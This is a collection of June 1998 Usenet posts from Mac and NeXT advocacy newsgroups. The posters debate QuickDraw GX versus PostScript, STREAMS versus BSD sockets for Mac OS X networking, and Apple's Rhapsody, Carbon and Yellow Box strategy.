Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 9 Jun 1998 09:29:58 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6livam$9m9$1@ns3.vrx.net>
References: <6lbo1a$m4i$1@news.cs.tu-berlin.de> <B19EBA8D-102CF@206.165.43.115>
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In <slrn6np04n.2r7.jason@jhste1.dyn.ml.org> Jason S. claimed:
> Hmm? Lawson's right; the NeXT people are arrogant, and almost never
> willing to admit that there might be a better alternative to the NeXT
> way of doing anything.
I'm a Mac-head, have been for almost a decade now. Never once looked at
NeXT's stuff until Apple bought them.
The NeXT people are right. You can fear that or you can embrace it. I
choose the later.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 9 Jun 1998 09:33:13 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6livgp$9m9$2@ns3.vrx.net>
References: <6lbo1a$m4i$1@news.cs.tu-berlin.de> <B19EBA8D-102CF@206.165.43.115>
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In <slrn6np2pe.2vc.jason@jhste1.dyn.ml.org> Jason S. claimed:
> Some of us chose other alternatives to MacOS (like Linux). And I have
> no particular desire to switch to the RDF OS du jour, whether it's
> Rhapsody or MacOS X or whatever.
Fair enough, but I rest easy in the knowledge that OS-X should be in every
way better than Linux...
a) better file system (4.4's stackable drivers)
b) better networking
c) better kernel that doesn't need compiles
d) better GUI
e) better (existing) object layer
f) real application list
g) I get to run all my Mac software too
You can be pissed off at Apple, or you can be happy about it. Don't let
your pride swing you to the wrong side.
Maury
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 9 Jun 1998 14:25:55 GMT
Organization: P & L Systems
Message-ID: <6ljglj$adf$13@ironhorse.plsys.co.uk>
References: <6lbo1a$m4i$1@news.cs.tu-berlin.de> <B19EBA8D-102CF@206.165.43.115>
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Cc: neuss.@informatik.th-darmstadt.de.nos-pam
In <6litsc$37f$1@sun27.hrz.tu-darmstadt.de> Christian Neuss wrote:
> Well, I wouldn't at all be surprised if "Lawson English" turned out to
> be a heuristic algorithm, using Markov chains and a vast library of
> graphics related technical technical documents in order to implement
> a USENET version of Eliza.
>
Close, but I believe it's based on Parry.
It certainly can't be Eliza -- when did Eliza ever say "And I'll tell you
another thing about my mother..."
> Accoring to a recent article at Macosrumors.com, localized versions
> "Lawson German" and "Lawson French" are in late alpha, and currently
> at the Turing test stage.
>
Pah, there goes MacOSRumors again, no technical savvy.
There's no localised version -- it's automatically translated on-the-fly
during the posting process, and it can appear at any rotation in any colour,
even gradients using a patented Slippery Slope algorithm. Sometimes posts
can even appear to have depth.
Best wishes,
mmalc.
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: STREAMS (was Re: GX vs PS)
Date: 8 Jun 98 11:33:49
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun8113349@slave.doubleu.com>
References: <6l5ts2$j3r$1@ns3.vrx.net> <B19C3969-121196@206.165.43.122>
<simpsonh-0406982244370001@ppp-5024.dca.net>
<slrn6neppp.ea4.sal@panix3.panix.com>
<RVerlinde-ya02408000R0506981027250001@news.bart.nl>
<jayfar-0506980851440001@chestnut1-20.slip.netaxs.com>
<SCOTT.98Jun5112748@slave.doubleu.com>
<*johnnyc*-0806981237270001@jchristie.halifaxcable.dal.ca>
In-reply-to: *johnnyc*@or.psychology.dal.ca's message of Mon, 08 Jun 1998 12:37:27 -0300
In article <*johnnyc*-0806981237270001@jchristie.halifaxcable.dal.ca>,
*johnnyc*@or.psychology.dal.ca (John Christie) writes:
In article <SCOTT.98Jun5112748@slave.doubleu.com>,
scott@doubleu.com (Scott Hess) wrote:
> I need to emphasize that. It's not a question of using the
> current OT STREAMS implementation versus the BSD4.4 sockets
> implementation. It's a question of using the BSD4.4 sockets
> implementation versus writing a new STREAMS implementation on a
> BSD4.4 substrate.
It is more than that. It is also a question of running an already
available Sockets implementation on top of Streams or CREATING an
implementation (interface??) of Streams on top of Sockets.
Not really, because while you can create a sockets interface on top of
STREAMS, you _can't_ create a STREAMS implementation on top of
sockets. It's not even a sensible project. You could create the same
_client_ interfaces over sockets, but who cares? [Yeah, I know, there
will be some who care, but the client interface is not where STREAMS
really shines, it's the guts that are important.]
Why don't they use what is already available?
I'm not clear what you're referring to, here. They will be using
sockets for now, because that's what's already available,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: STREAMS (was Re: GX vs PS)
Date: 8 Jun 98 11:37:44
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun8113744@slave.doubleu.com>
References: <6l5ts2$j3r$1@ns3.vrx.net> <B19C3969-121196@206.165.43.122>
<simpsonh-0406982244370001@ppp-5024.dca.net>
<slrn6neppp.ea4.sal@panix3.panix.com>
<RVerlinde-ya02408000R0506981027250001@news.bart.nl>
<jayfar-0506980851440001@chestnut1-20.slip.netaxs.com>
<SCOTT.98Jun5112748@slave.doubleu.com>
<Jim.Matthews-ya02408000R0806980913240001@news.dartmouth.edu>
In-reply-to: Jim.Matthews@dartmouth.edu's message of Mon, 08 Jun 1998 09:13:24 -0400
In article <Jim.Matthews-ya02408000R0806980913240001@news.dartmouth.edu>,
Jim.Matthews@dartmouth.edu (Jim Matthews) writes:
In article <SCOTT.98Jun5112748@slave.doubleu.com>,
scott@doubleu.com (Scott Hess) wrote:
>[On a humorous note, some of the biggest complaints about this
>that I heard at WWDC were from vendors who already have Windows
>ports of their clients - and thus presumably already have a
>more-or-less sockets compatible module somewhere in their code,]
If this is humorous then you've missed the point.
<...>
No one at WWDC was complaining about sockets.
I specifically heard at least two people with client-level products
complain, with their complaints being on the order of "But do I have
to change _my_ code." Unless telnet and pop and nntp and http and the
like have suddenly started to require low-level support, that was
_exactly_ complaining about sockets.
The humorous part of this is that at least in one case, the developer
in question already had a sockets version, and was complaining about
having to change his client code. Obviously, if he has a sockets
version already, the changes will probably just be omitted #ifdef's,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Arguments for STREAMS
Date: Tue, 09 Jun 1998 15:54:47 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-0906981554470001@jchristie.halifaxcable.dal.ca>
References: <6l5ts2$j3r$1@ns3.vrx.net> <B19C3969-121196@206.165.43.122> <simpsonh-0406982244370001@ppp-5024.dca.net> <slrn6ngd9g.spt.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <Jim.Matthews-ya02408000R0506981546360001@news.dartmouth.edu> <6l9a41$6ue$3@ns3.vrx.net> <bhahn-ya02408000R0506981645330001@news.transoft.net> <maury-0706981717080001@ts37-08.tor.istar.ca> <bhahn-ya02408000R0806981528390001@news.transoft.net> <rmcassid-0806981556190001@dante.eng.uci.edu>
In article <rmcassid-0806981556190001@dante.eng.uci.edu>, rmcassid@uci.edu
(Robert Cassidy) wrote:
> The argument for a STREAMS API is a valid one, but does not preclude using
> BSD networking, as you note, in much the same way that the presence of a
> sockets API does not preclude using STREAMS.
>
> But I think the basis for his argument is that sockets is very stable and
> well tested, and already built into and integrated in the system. Since a
> STREAMS API should be able to be built on top of that (since, apparently
> one already has been) nobody loses, but we get a better tested, free
> solution sooner. The engineers might prefer STREAMS since its probably
> more elegant but management wants to deliver a more stable solution sooner
> with the least amount of work.
I have never heard of a STREAMS being built on top of sockets. I would
like to be enlightened. Wouldn't the faster solution be to take the
already completed sockets on top of STREAMS solution and use that. In
either case both APIs are available. That is the most important part for
getting MacOS X running. However, one has been done and the other hasn't.
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
From: ben@ben.tapehouse.net (Ben Rosengart)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 9 Jun 1998 19:00:09 GMT
Organization: echonyc.com
Message-ID: <slrn6nr1n9.ntc.ben@ben.tapehouse.net>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <yz0f1.12125$Kx3.12416544@news.rdc1.sdca.home.com> <rmcassid-0806982301310001@dialin33413.slip.uci.edu> <Xo5f1.12150$Kx3.12551461@news.rdc1.sdca.home.com> <rmcassid-0906980844350001@dante.eng.uci.edu>
Cache-Post-Path: echo2.echonyc.com!ben@ben.tapehouse.net
In article <rmcassid-0906980844350001@dante.eng.uci.edu>, Robert Cassidy
wrote:
>
>Agreed. There are a lot of dollars invested in hardware that will run
>Rhapsody but not MacOS X. A lot of buying ahead of the curve took place.
>Now that might have been a mistake. Of course I don't need to tell any
>Intel folks that...
Is there Apple hardware that will run Rhapsody but not MacOS X? If so,
are you familiar with the technical reasons?
I admit I find it a little hard to fathom why Apple doesn't do a little
hardware abstraction in their OS, or do *something* so more of their
hardware is compatible with more of their software. I know Intel OSs tend
to run on a wide variety of hardware, but I'm less familiar with other
hardware platforms. Does Solaris require certain hardware for certain
software revisions? The newest HP-UX isn't widely compatible with PA-RISC
hardware, I heard.
--
Ben
"You have your mind on computers, it seems."
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Arguments for STREAMS
Date: 9 Jun 1998 13:50:42 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ljeji$nds$1@ns3.vrx.net>
References: <6l5ts2$j3r$1@ns3.vrx.net> <B19C3969-121196@206.165.43.122>
<simpsonh-0406982244370001@ppp-5024.dca.net> <slrn6ngd9g.spt.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
<Jim.Matthews-ya02408000R0506981546360001@news.dartmouth.edu> <6l9a41$6ue$3@ns3.vrx.net>
<bhahn-ya02408000R0506981645330001@news.transoft.net> <maury-0706981717080001@ts37-08.tor.istar.ca>
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In <bhahn-ya02408000R0906981050470001@news.transoft.net> Brendan Hahn
claimed:
> IP implementations, mainly.
How do you link it "upwards". IE, how does the system (currently) link
your IP onto other portions of the stack? The SysV book gives examples of
modules, but all "high level" ones sitting above TPI.
> It's not *just* that, though...I do think STREAMS is a good technology,
too.
So do I, but that's rarely the point.
> I hadn't heard of it...I checked out the manpage, and it does look like it
> might be the basis of a good component system. I need to learn more about
> it, though...and it still doesn't save me redoing my network software.
Well aside from the mux/demux it shouldn't be that different.
Maury
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 9 Jun 1998 18:09:33 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6ljtot$9d8@newsb.netnews.att.com>
References: <6k217h$5o7$1@cronkite.cygnus.com> <B18A96F7-13AEA6@204.31.112.105> <356C2B72.294@remove.muenchen.this.org.junk>
Originator: gupta@tlctest
A denial of the "Chinese wall" :
Playboy interview : Bill Gates.
Playboy, July 1994, v41 n7 p55(13)
Quote :
PLAYBOY : Do you have an unfair advantage over your
competition because your systems people -- who do things
like MS-DOS and Windows -- exchange data freely with
your applications programmers, thereby breaching the
Chinese wall, the ethical boundary that's supposed to
separate them ? It's been an oftrepeated charge.
GATES : [Strongly] Chinese wall is not a term we've ever used.
....
End quote
-arun gupta
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Arguments for STREAMS
Date: 9 Jun 1998 19:25:19 GMT
Organization: University of California at San Diego
Message-ID: <slrn6nr30u.4ba.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <6l5ts2$j3r$1@ns3.vrx.net> <B19C3969-121196@206.165.43.122> <simpsonh-0406982244370001@ppp-5024.dca.net> <slrn6ngd9g.spt.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <Jim.Matthews-ya02408000R0506981546360001@news.dartmouth.edu> <6l9a41$6ue$3@ns3.vrx.net> <bhahn-ya02408000R0506981645330001@news.transoft.net> <maury-0706981717080001@ts37-08.tor.istar.ca> <bhahn-ya02408000R0806981528390001@news.transoft.net> <rmcassid-0806981556190001@dante.eng.uci.edu> <*johnnyc*-0906981554470001@jchristie.halifaxcable.dal.ca>
On Tue, 09 Jun 1998 15:54:47 -0300, John Christie wrote:
: I have never heard of a STREAMS being built on top of sockets. I would
:like to be enlightened. Wouldn't the faster solution be to take the
:already completed sockets on top of STREAMS solution and use that.
And then, how do you put the STREAMS part onto the BSD upper-kernel?
That doesn't sound like a small amount of work.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: heksterb@odyssey.co.il (Ben Hekster)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: Tue, 09 Jun 1998 12:29:21 -0700
Organization: Odyssey Interactive Multimedia
Message-ID: <heksterb-0906981229210001@ben-linux.releasesoft.com>
References: <6lbo1a$m4i$1@news.cs.tu-berlin.de> <B19EBA8D-102CF@206.165.43.115> <357C5D13.B2FEFA62@bcomp.com> <6litsc$37f$1@sun27.hrz.tu-darmstadt.de>
In article <6litsc$37f$1@sun27.hrz.tu-darmstadt.de>,
neuss.nos-pam@informatik.th-darmstadt.de.nos-pam wrote:
> Well, I wouldn't at all be surprised if "Lawson English" turned out to
> be a heuristic algorithm, [...]
That's a bit unfair-- I think Lawson is raising some very valid points
that merit at least consideration. Although I never got very far into GX,
it does seem like an intriguingly well-designed 2D graphics library, and I
for one welcome some serious discussion of its strengths and weaknesses.
Methinks that GX's and Lawson's detractors doth oft protest too much.
Personally, I believe that Apple at heart is (or should be) a
technology innovator and leader, not a mindless follower, and that this is
the only way it will continue to distinguish itself in the marketplace.
it's a darned shame that GX got pulled before it ever had a chance to
prove itself.
Ben
--
My prediction: Brazil-Scotland 0-2
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 9 Jun 1998 19:34:27 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6nr3i3.1po.sal@panix3.panix.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <yz0f1.12125$Kx3.12416544@news.rdc1.sdca.home.com> <rmcassid-0806982301310001@dialin33413.slip.uci.edu> <Xo5f1.12150$Kx3.12551461@news.rdc1.sdca.home.com> <rmcassid-0906980844350001@dante.eng.uci.edu> <slrn6nr1n9.ntc.ben@ben.tapehouse.net>
On 9 Jun 1998 19:00:09 GMT, Ben Rosengart <ben@ben.tapehouse.net> wrote:
>Is there Apple hardware that will run Rhapsody but not MacOS X? If so,
>are you familiar with the technical reasons?
Apple has pnly commited to providing MacOSX on Apple g3 machines. They
have not commited to providing it on 7[3,5,6]00 or 8[5,6]00 machines. They
have not commited to providing it on Intel based machines.
If you diagree with this, consider sending a letter to leadership@apple.com
asking for MacOSX on Intel and older PCI based Macs.
--
sal@panix.com
Salvatore Denaro
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Tue, 09 Jun 1998 12:39:54 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-0906981239540001@dante.eng.uci.edu>
References: <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <6lji4s$pns$1@new-news.cc.brandeis.edu>
In article <6lji4s$pns$1@new-news.cc.brandeis.edu>, xray@cs.brandeis.edu
(Nathan G. Raymond) wrote:
>In article <rmcassid-0806981539290001@dante.eng.uci.edu> rmcassid@uci.edu
(Robert Cassidy) writes:
>If the carbon MacOS Toolbox is thread-safe and/or supports memory
>protection at least between apps, and is fully PPC native, it would be a
>big advancement in the MacOS world (not anything important for YB folk...)
Who exactly will it benefit? Adobe - no, I honestly don't think they care.
Nor Macromedia. Nor any of the big developers. In-house and strongly Mac
oriented - sure, but there aren't many strongly Mac oriented developers
around any more.
[snip]
>I mean,
>that's what Rhapsody/YB does. It basically puts a friggin' TON of people
>out of luck who've been around helping Apple for a long time. Apple
>cannot just shoot them in the back or send them packing.
I agree with this. My point is not that Carbon shouldn't be here. It's
*great* that they came up with it.
>The MacOS -> YB transition must be a slow and gradual shift for
>marketplace reasons.
My concern is that a MacOS -> YB transition either isn't what Apple has
planned or that they are going to seriously undermine such a transition by
not adopting it themselves.
>And I'm willing to let Apple keep some of its strategy under wraps if it
>means someday down the road I get to see them get up and take down MS or
>any NIH-mentality company.
To an extent I agree here. But they are being a little too strong on some
points. They are pushing people like me into a corner. I'm having a very
hard time defending my position here because I don't know where things are
going. When I can't defend my position, things like NT show up since it
requires no defense.
>Four years ago Sun came and made a presentation on Java to Brandeis
>University, and my cosci prof. came away very underwhelmed.
I'm underwhelmed as well, in some cases.
Java as language: pretty good. Better than C++, at least.
Java as API: pretty bad.
Java as OS: I don't think so.
>Java is not
>so much about good tech., as it is the buzzword du jour, and clearly
>buzzwords impact certain markets. I see Apple tying Java with YB to be
>significantly better than things like MS' J++ or Active X. Java+YB is
>arguably the best of both worlds.
Well, yes and no. Do you like Java because it is a better language to deal
with than C++ or because you want your app to run on Windows, MacOS, and
Linux? If you are in the latter camp, you are SOL with YB. Most people I
think are in the latter camp. It doesn't matter how crappy the APIs are,
thats all there is. YB is not an alternative. If Apple made it an
alternative, my position turns around 100%.
>[snip]
>>Old OpenStep developers get a larger market, but it's not the market that
>>their products are targetted towards. Ask Erik Buck about that. MacOS X is
>>not a strategy for the enterprise market. So that's not overly interesting
>>to the OpenStep world, IMO.
>
>Apple the company is not in a position right now to publicly target
>Enterprise - it would frighten a LOT of long-time MacOS developers. Their
>first priority is to stabilize their existing market before expanding.
>The press still hasn't completely stabilized, but they are coming around
>slowly. Apple cannot move as quickly as we'd all like in all directions.
I'm not saying that they should or could. But Apple has some real
enterprise talent out there in the world that is loyal to them that they
risk losing by not offering an Enterprise solution. It doesn't need to be
the best, nor do they need to publicly target enterprise. Rather, just
keep it out there and up-to-date until a public approach is justified. In
the mean time, they just stand to lose the enterprise ground that they
still might hold.
>>And *none* of these things are interesting to the Win32 world. If there is
>>a strategy here, either we haven't seen it, or it isn't a particularly
>>good strategy. I'm thinking (maybe just hoping) it is the former...
>
>People develop for Win32 because they have to or because they don't know
>any better. How would you propose switching them over to anything? You'd
>have to educate them first. The current installed base of Win32
>developers are to a certain extent a lost cause, unless you map a
>Win32-like API (like WINE, OS/2 Warp, etc.) on top of Rhapsody/MacOS X,
>like Carbon is on top...
I don't know how.
-Bob Cassidy
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 9 Jun 98 12:36:55
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun9123655@slave.doubleu.com>
References: <6lbo1a$m4i$1@news.cs.tu-berlin.de> <B19EBA8D-102CF@206.165.43.115>
<357C5D13.B2FEFA62@bcomp.com> <slrn6np04n.2r7.jason@jhste1.dyn.ml.org>
<357d3c47.0@206.25.228.5> <slrn6nqsvm.ntc.ben@ben.tapehouse.net>
In-reply-to: ben@ben.tapehouse.net's message of 9 Jun 1998 17:39:19 GMT
In article <slrn6nqsvm.ntc.ben@ben.tapehouse.net>,
ben@ben.tapehouse.net (Ben Rosengart) writes:
In article <357d3c47.0@206.25.228.5>, John Kheit wrote:
>I think the problem most people have with the vast majority of
>NeXT people is they are really reasonable and right the great
>majority of the time;
One way I like to measure a user group is by how they treat their
least knowledgeable members. Judging by the posts in
comp.sys.next.{hardware, sysadmin,software}, NeXT users are
friendly, helpful people, or at least the ones who post are.
I can fix that, if it would make people feel more at home :-),
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: STREAMS (was Re: GX vs PS)
Date: 9 Jun 98 12:35:48
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun9123548@slave.doubleu.com>
References: <6l5ts2$j3r$1@ns3.vrx.net> <B19C3969-121196@206.165.43.122>
<simpsonh-0406982244370001@ppp-5024.dca.net>
<slrn6neppp.ea4.sal@panix3.panix.com>
<RVerlinde-ya02408000R0506981027250001@news.bart.nl>
<jayfar-0506980851440001@chestnut1-20.slip.netaxs.com>
<SCOTT.98Jun5112748@slave.doubleu.com>
<*johnnyc*-0806981237270001@jchristie.halifaxcable.dal.ca>
<SCOTT.98Jun8113349@slave.doubleu.com>
<*johnnyc*-0906981538530001@jchristie.halifaxcable.dal.ca>
In-reply-to: *johnnyc*@or.psychology.dal.ca's message of Tue, 09 Jun 1998 15:38:53 -0300
In article <*johnnyc*-0906981538530001@jchristie.halifaxcable.dal.ca>,
*johnnyc*@or.psychology.dal.ca (John Christie) writes:
In article <SCOTT.98Jun8113349@slave.doubleu.com>,
scott@doubleu.com (Scott Hess) wrote:
> In article <*johnnyc*-0806981237270001@jchristie.halifaxcable.dal.ca>,
> *johnnyc*@or.psychology.dal.ca (John Christie) writes:
> Why don't they use what is already available?
>
> I'm not clear what you're referring to, here. They will be using
> sockets for now, because that's what's already available,
Sockets is available in the MacOS? Is it available in Open
Transport? They plan to implement an Open Transport interface to
Sockets. This is nuts. What is already available is an
implementation of sockets on STREAMS.
Ah, I see where the confusion is coming in. MacOS X will be using
Mach/BSD as the kernel, with YellowBox and Carbon layered on top of
that. So the fact that there's already a STREAMS implementation in
MacOS 8 is of little utility - because in Mach/BSD, the networking
implementation that's already available will be Net/3 with a sockets
interface.
An argument could be made that they could run the OT STREAMS
implementation on the Carbon/BlueBox side of things, and let the BSD
based side keep sockets. Unfortunately, that's not very workable
unless you're willing to have seperate IP addresses for each. That
_is_ the current solution, but long-term that's not acceptable, the
networking has to be integrated. Having half the system using OT
w/STREAMS and half using Net/3 w/sockets would probably be harder to
pull off than to just rip Net/3 out of BSD and replace it with
STREAMS.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Tue, 09 Jun 1998 08:44:35 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-0906980844350001@dante.eng.uci.edu>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <yz0f1.12125$Kx3.12416544@news.rdc1.sdca.home.com> <rmcassid-0806982301310001@dialin33413.slip.uci.edu> <Xo5f1.12150$Kx3.12551461@news.rdc1.sdca.home.com>
In article <Xo5f1.12150$Kx3.12551461@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) wrote:
>In <rmcassid-0806982301310001@dialin33413.slip.uci.edu> Robert Cassidy wrote:
>> My concern is what camp Apple falls into. Apple has 15 months of future
>> development and releases that prevent the use of YB. So we either get
>> Carbon development, which makes we wonder about it's place and value to
>> the YB/Java community, or we get both Carbon and YB. I don't see the
>> latter happening, for some reason, though.
>Did I miss something? Why suddenly is there this aire of suspicion?
Suspicion? Serious concern might be a better match. I was contemplating a
YB future and quite pleased to have Carbon over there in a corner getting
some attention, but then I began looking at the new APIs that are planned.
The encryption and authentication stuff is *very* appealing to a higher-ed
weenie (the *one* area universities are often sufficiently organized is
authentication), but I'm not sure where it will show up. I've done a good
job embracing PCI Powermacs, but not necessarily G3. Will these new APIs
apply to Rhapsody, since I can't run Mac OS X on some of these boxes, as
Apple seems intent on having me believe. Or will the run on OS 8/9? MacOS
X as some grand unification of Apple APIs is fine, but they really need to
push some of this stuff back to older systems in some form. How and if
they do that is where I'm having problems. Logistically, for people like
me, this is turning into a potential nightmare.
>I get
>the impression that a mind meld has glued all these API's together. Carbon
>is not a complete Apple Engineering resource hog. It's an API with a
>timeframe... It's not a first class citizen in the architectural design like
>Obj-C and Java, unless I missed something.
Well, anything based on the Mac Toolbox will *not* have anything that the
Next community would consider to be good architectural design, unless
Apple does some *serious* reworking there. And that undermines the purpose
of Carbon. No, Carbon *should* be some sort of Jurassic Park experiment
gone well. Brought forward in time as a convenience and novelty, but not
with the intention of further evolution.
>It doesn't preclude an either
>Carbon OR Java/YB development. Why can't there be BOTH? Apple isn't guilty
>of Balkanizing into Camps, yet! And you can count on BOTH YB/Java AND Carbon
>API's ready for MacOS X. A good deal of Java API work was done earlier.
There *can* be both. But that means doubling up on the effort (testing and
all that) for probably the next 1-2 years. Maybe they will. I'm going back
through the videos now to see if they specifically address the new APIs
being open to both YB and Carbon.
>> Direction, yes. Apple has created considerable problems for some of us
>> over the last year or so. It has become virtually impossible for anyone
>> trying to plan for an Apple OS future of late.
>
>Ouch... but philosophically, I ponder the dilemna. Software works everywhere
>on a Mac! Why would you need to buy Hardware now for MacOS X 15 mos. from
>now? Servers are a complete gamble, period.
Because I work in higher-ed and are state, not grant funded. Big chunks of
money don't happen here. We get a small chunk on regular basis. In the
budgeting world some people can work like a tortise, others like a hare.
We're clearly a tortise. We need to make regular gains every year. If
MacOS X is G3 only. I'll not be able to run it here across-the-board,
without a considerably financial exception, for 3 years. I should be able
to get a server in place in time for it. But I'll not likely get my users
in place in time. That means no YB development in house that might need to
propogate to the desktop for us for some time. That means I'm back to Mac
Toolbox development in the mean time for many things.
>This is a mark against Apple, then. API's = choice. Choose Mac apps and run
>Mac hardware. All your Mac apps should run on all your Mac hardware.
Agreed. There are a lot of dollars invested in hardware that will run
Rhapsody but not MacOS X. A lot of buying ahead of the curve took place.
Now that might have been a mistake. Of course I don't need to tell any
Intel folks that...
>MacOS X apps won't run on pre-OSX hardware. I'd be real cautous buying into
>a MacOS X solution now.
Agreed. However many of us didn't know that MacOS X was coming along to
potentially screw up the plans...
>WebObjects develops on OPENSTEP and NT then MacOS X. Choose you hardware...
It's gotten to a point where a purchasing decision, if I want YB, is
better off *not* buying from Apple. I'd like someone to address this.
-Bob Cassidy
